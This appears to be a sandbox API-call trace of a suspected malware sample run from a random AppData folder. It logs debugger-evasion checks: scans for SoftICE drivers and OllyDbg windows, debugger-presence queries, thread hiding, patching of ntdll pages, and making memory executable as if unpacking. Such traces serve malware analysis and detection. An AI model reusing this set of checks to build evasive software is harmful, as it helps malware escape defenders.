	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="srv2.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="mmcss.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="mrxsmb10.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="Ndu.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="peauth.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="srv.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="tcpipreg.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="WdNisDrv.sys") returned -1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="condrv.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="e1i63x64.sys") returned 1
	[0098.587] lstrcmpiA (lpString1="ntice.sys", lpString2="tunnel.sys") returned -1
	[0098.587] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.588] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.588] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.588] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.588] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="ntoskrnl.exe") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="hal.dll") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="kd.dll") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="mcupdate_GenuineIntel.dll") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="werkernel.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="CLFS.SYS") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="tm.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="PSHED.dll") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="BOOTVID.dll") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="cmimcext.sys") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="ntosext.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="CI.dll") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="msrpc.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="FLTMGR.SYS") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecdd.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="clipsp.sys") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="Wdf01000.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="WDFLDR.SYS") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="acpiex.sys") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="WppRecorder.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="cng.sys") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="ACPI.sys") returned 1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="WMILIB.SYS") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="WindowsTrustedRT.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="WindowsTrustedRTProxy.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="pcw.sys") returned -1
	[0098.589] lstrcmpiA (lpString1="iceext.sys", lpString2="msisadrv.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="pci.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="vdrvroot.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="pdc.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="CEA.sys") returned 1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="partmgr.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="spaceport.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgr.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="volmgrx.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="mountmgr.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="storahci.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="storport.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="EhStorClass.sys") returned 1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="fileinfo.sys") returned 1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="Wof.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="WdFilter.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="NTFS.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="Fs_Rec.sys") returned 1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="ndis.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="NETIO.SYS") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="ksecpkg.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="tcpip.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="fwpkclnt.sys") returned 1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="wfplwfs.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="fvevol.sys") returned 1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="volsnap.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="rdyboost.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="mup.sys") returned -1
	[0098.590] lstrcmpiA (lpString1="iceext.sys", lpString2="disk.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="CLASSPNP.SYS") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="crashdmp.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="filecrypt.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="tbs.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="Null.SYS") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="Beep.SYS") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="BasicDisplay.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="watchdog.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="dxgkrnl.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="BasicRender.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="Npfs.SYS") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="Msfs.SYS") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="tdx.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="TDI.SYS") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="netbt.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="afd.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="vwififlt.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="pacer.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="netbios.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="rdbss.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="csc.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="nsiproxy.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="npsvctrig.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="mssmbios.sys") returned -1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="gpuenergydrv.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="dfsc.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="ahcache.sys") returned 1
	[0098.591] lstrcmpiA (lpString1="iceext.sys", lpString2="CompositeBus.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="kdnic.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="umbus.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="HDAudBus.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="portcls.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="drmk.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="ks.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="usbehci.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="USBPORT.SYS") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="NdisVirtualBus.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="swenum.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="rdpbus.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="usbhub.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="USBD.SYS") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="HdAudio.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="ksthunk.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="hidusb.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDCLASS.SYS") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="HIDPARSE.SYS") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdhid.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="kbdclass.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="Razerlow.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="mouhid.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="mouclass.sys") returned -1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_diskdump.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_storahci.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="dump_dumpfve.sys") returned 1
	[0098.592] lstrcmpiA (lpString1="iceext.sys", lpString2="win32k.sys") returned -1
	[0098.593] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.593] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.593] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.594] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.594] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.595] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.595] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.596] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.596] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.596] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.597] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.597] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.598] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.598] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.598] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.599] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.600] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.600] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.600] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.601] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.602] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.602] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.602] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c40000
	[0098.603] GetProcAddress (hModule=0x77c40000, lpProcName="NtQuerySystemInformation") returned 0x77ca8f40
	[0098.603] NtQuerySystemInformation (in: SystemInformationClass=0xb, SystemInformation=0x3d0000, Length=0x10000, ResultLength=0x0 | out: SystemInformation=0x3d0000, ResultLength=0x0) returned 0x0
	[0098.604] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.606] SetEvent (hEvent=0x13c) returned 1
	[0098.606] Sleep (dwMilliseconds=0x0) 
	[0098.607] Sleep (dwMilliseconds=0x0) 
	[0098.607] SetEvent (hEvent=0x148) returned 1
	[0098.607] Sleep (dwMilliseconds=0x0) 
	[0098.607] GetSystemDirectoryA (in: lpBuffer=0x19ae3d5, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0098.607] CreateFileA (lpFileName="C:\\Windows\\system32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x4, hTemplateFile=0x0) returned 0x19c
	[0098.608] SetFilePointer (in: hFile=0x19c, lDistanceToMove=426320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68150
	[0098.608] ReadFile (in: hFile=0x19c, lpBuffer=0x1ba9f8e, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x1ba9fae, lpOverlapped=0x0 | out: lpBuffer=0x1ba9f8e*, lpNumberOfBytesRead=0x1ba9fae*=0x20, lpOverlapped=0x0) returned 1
	[0098.620] CloseHandle (hObject=0x19c) returned 1
	[0098.620] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x19ff28, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x19ff28, ReturnLength=0x0) returned 0x0
	[0098.620] SetEvent (hEvent=0x118) returned 1
	[0098.620] Sleep (dwMilliseconds=0x0) 
	[0098.621] Sleep (dwMilliseconds=0x0) 
	[0098.622] FindWindowA (lpClassName="OLLYDBG", lpWindowName=0x0) returned 0x0
	[0098.622] FindWindowA (lpClassName="GBDYLLO", lpWindowName=0x0) returned 0x0
	[0098.622] FindWindowA (lpClassName="pediy06", lpWindowName=0x0) returned 0x0
	[0098.622] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x1a4
	[0098.629] Process32First (in: hSnapshot=0x1a4, lppe=0x1bb06b3 | out: lppe=0x1bb06b3*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0098.629] Process32Next (in: hSnapshot=0x1a4, lppe=0x1bb06b3 | out: lppe=0x1bb06b3*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x66, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0098.630] CloseHandle (hObject=0x1a4) returned 1
	[0098.630] NtSetInformationThread (ThreadHandle=0xfffffffe, ThreadInformationClass=0x11, ThreadInformation=0x0, ThreadInformationLength=0x0) returned 0x0
	[0098.631] GetVersionExA (in: lpVersionInformation=0x1bb7d5f*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1bb7d5f*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x2, dwBuildNumber=0x23f0, dwPlatformId=0x2, szCSDVersion="")) returned 1
	[0098.631] IsDebuggerPresent () returned 0
	[0098.632] SetEvent (hEvent=0x148) returned 1
	[0098.633] Sleep (dwMilliseconds=0x0) 
	[0098.633] VirtualAlloc (lpAddress=0x0, dwSize=0x3e8, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.633] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x3d0000, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x3d0000, ReturnLength=0x0) returned 0x0
	[0098.633] VirtualFree (lpAddress=0x3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0098.635] SetEvent (hEvent=0x154) returned 1
	[0098.635] Sleep (dwMilliseconds=0x0) 
	[0098.636] GetModuleHandleA (lpModuleName="kmon.dll") returned 0x0
	[0098.638] SetEvent (hEvent=0x134) returned 1
	[0098.639] Sleep (dwMilliseconds=0x0) 
	[0098.639] VirtualProtect (in: lpAddress=0x77ce1300, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x1bc442d | out: lpflOldProtect=0x1bc442d*=0x20) returned 1
	[0098.639] VirtualProtect (in: lpAddress=0x77ce1300, dwSize=0x1000, flNewProtect=0x20, lpflOldProtect=0x1bc4431 | out: lpflOldProtect=0x1bc4431*=0x40) returned 1
	[0098.639] VirtualProtect (in: lpAddress=0x77caad10, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x1bc442d | out: lpflOldProtect=0x1bc442d*=0x20) returned 1
	[0098.641] SetEvent (hEvent=0x130) returned 1
	[0098.641] Sleep (dwMilliseconds=0x0) 
	[0098.641] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0x19af499 | out: lpBuffer="C:\\Windows\\system32") returned 0x13
	[0098.641] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1bc8bdb, nSize=0x100 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0098.641] SetCurrentDirectoryA (lpPathName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti")) returned 1
	[0098.642] GetProcAddress (hModule=0x77c40000, lpProcName="RtlAllocateHeap") returned 0x77c7da90
	[0098.642] GetVersion () returned 0x23f00206
	[0098.643] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x3d0000
	[0098.643] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77670000
	[0098.643] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74d70000
	[0098.643] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77990000
	[0098.643] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x77ba0000
	[0100.126] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77670000
	[0100.126] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77990000
	[0100.126] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77670000
	[0100.127] LoadLibraryA (lpLibFileName="version.dll") returned 0x74b00000
	[0100.248] LoadLibraryA (lpLibFileName="gdi32.dll") returned 0x76ca0000
	[0100.248] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74d70000
	[0100.248] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x77430000
	[0100.251] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x77ba0000
	[0100.251] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77670000
	[0100.251] LoadLibraryA (lpLibFileName="oleaut32.dll") returned 0x77ba0000
	[0100.252] LoadLibraryA (lpLibFileName="comctl32.dll") returned 0x748f0000
	[0100.754] LoadLibraryA (lpLibFileName="winspool.drv") returned 0x74880000
	[0101.198] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x755b0000
	[0104.795] LoadLibraryA (lpLibFileName="wsock32.dll") returned 0x74850000
	[0105.069] LoadLibraryA (lpLibFileName="SHFolder.dll") returned 0x74840000
	[0105.095] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x755b0000
	[0105.095] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x74eb0000
	[0105.484] LoadLibraryA (lpLibFileName="crypt32.dll") returned 0x74eb0000
	[0105.484] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77990000
	[0105.484] LoadLibraryA (lpLibFileName="user32.dll") returned 0x74d70000
	[0105.484] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74b70000
	[0105.486] SetCurrentDirectoryA (lpPathName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 1
	[0105.486] SetEvent (hEvent=0x144) returned 1
	[0105.487] Sleep (dwMilliseconds=0x0) 
	[0105.501] SetEvent (hEvent=0x130) returned 1
	[0105.501] Sleep (dwMilliseconds=0x0) 
	[0105.514] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19af499, nSize=0x200 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe")) returned 0x37
	[0105.514] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\nzpnpqiti\\86976.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\nzpnpqiti\\86976.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4
	[0105.514] CreateFileMappingA (hFile=0x1a4, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x29c
	[0105.515] MapViewOfFile (hFileMappingObject=0x29c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x5910000
	[0105.515] VirtualAlloc (lpAddress=0x0, dwSize=0x3dfc00, flAllocationType=0x1000, flProtect=0x4) returned 0x5d00000
	[0105.547] FreeLibrary (hLibModule=0x0) returned 0
	[0105.547] VirtualFree (lpAddress=0x5d00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.558] UnmapViewOfFile (lpBaseAddress=0x5910000) returned 1
	[0105.584] CloseHandle (hObject=0x29c) returned 1
	[0105.584] CloseHandle (hObject=0x1a4) returned 1
	[0105.584] GetLocalTime (in: lpSystemTime=0x1be1543 | out: lpSystemTime=0x1be1543*(wYear=0x7e2, wMonth=0x5, wDayOfWeek=0x3, wDay=0x2, wHour=0x17, wMinute=0x1b, wSecond=0x37, wMilliseconds=0x1e7)) 
	[0105.584] VirtualAlloc (lpAddress=0x0, dwSize=0x30d40, flAllocationType=0x1000, flProtect=0x4) returned 0x5910000
	[0105.586] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x1000, flProtect=0x4) returned 0x3e0000
	[0105.588] SetEvent (hEvent=0x124) returned 1
	[0105.588] Sleep (dwMilliseconds=0x0) 
	[0105.590] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1beb2a0 | out: Wow64Process=0x1beb2a0) returned 1
	[0105.592] SetEvent (hEvent=0x138) returned 1
	[0105.592] Sleep (dwMilliseconds=0x0) 
	[0105.592] CheckRemoteDebuggerPresent (in: hProcess=0xffffffff, pbDebuggerPresent=0x1bee1e4 | out: pbDebuggerPresent=0x1bee1e4) returned 1
	[0105.594] SetEvent (hEvent=0x150) returned 1
	[0105.594] Sleep (dwMilliseconds=0x0) 
	[0105.595] SetEvent (hEvent=0x128) returned 1
	[0105.595] Sleep (dwMilliseconds=0x0) 
	[0105.595] SetEvent (hEvent=0x138) returned 1
	[0105.595] Sleep (dwMilliseconds=0x0) 
	[0105.598] SetEvent (hEvent=0x13c) returned 1
	[0105.598] Sleep (dwMilliseconds=0x0) 
	[0105.598] SetEvent (hEvent=0x154) returned 1
	[0105.598] Sleep (dwMilliseconds=0x0) 
	[0105.600] SetEvent (hEvent=0x148) returned 1
	[0105.600] Sleep (dwMilliseconds=0x0) 
	[0105.603] SetEvent (hEvent=0x134) returned 1
	[0105.603] Sleep (dwMilliseconds=0x0) 
	[0105.605] SetEvent (hEvent=0x134) returned 1
	[0105.605] Sleep (dwMilliseconds=0x0) 
	[0105.606] SetEvent (hEvent=0x154) returned 1
	[0105.606] Sleep (dwMilliseconds=0x0) 
	[0105.608] SetEvent (hEvent=0x150) returned 1
	[0105.608] Sleep (dwMilliseconds=0x0) 
	[0105.608] SetEvent (hEvent=0x118) returned 1
	[0105.608] Sleep (dwMilliseconds=0x0) 
	[0105.610] SetEvent (hEvent=0x150) returned 1
	[0105.610] Sleep (dwMilliseconds=0x0) 
	[0105.610] VirtualProtect (in: lpAddress=0x401000, dwSize=0x7b800, flNewProtect=0x40, lpflOldProtect=0x19affaf | out: lpflOldProtect=0x19affaf*=0x80) returned 1
	[0105.632] SetEvent (hEvent=0x13c) returned 1
	[0105.632] Sleep (dwMilliseconds=0x0) 
	[0105.635] SetEvent (hEvent=0x128) returned 1
	[0105.635] Sleep (dwMilliseconds=0x0) 
	[0105.635] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1c0881f | out: Wow64Process=0x1c0881f) returned 1
	[0105.639] VirtualAlloc (lpAddress=0x0, dwSize=0x1482198, flAllocationType=0x1000, flProtect=0x4) returned 0x5950000
	[0105.965] VirtualAlloc (lpAddress=0x0, dwSize=0x127100, flAllocationType=0x1000, flProtect=0x4) returned 0x6de0000
	[0105.993] VirtualFree (lpAddress=0x6de0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0105.999] SetEvent (hEvent=0x140) returned 1
	[0105.999] Sleep (dwMilliseconds=0x0) 
	[0106.000] SetEvent (hEvent=0x150) returned 1
	[0106.000] Sleep (dwMilliseconds=0x0) 
	[0106.004] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x19affaf | out: lpflOldProtect=0x19affaf*=0x2) returned 1
	[0106.004] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x19b0ec2 | out: lpflOldProtect=0x19b0ec2*=0x4) returned 1
	[0106.005] SetEvent (hEvent=0x138) returned 1
	[0106.005] Sleep (dwMilliseconds=0x0) 
	[0106.008] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x6de0000
	[0106.010] VirtualAlloc (lpAddress=0x0, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x40) returned 0x6df0000
	[0106.010] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x40) returned 0x6e00000
	[0106.010] VirtualAlloc (lpAddress=0x0, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x40) returned 0x6e10000
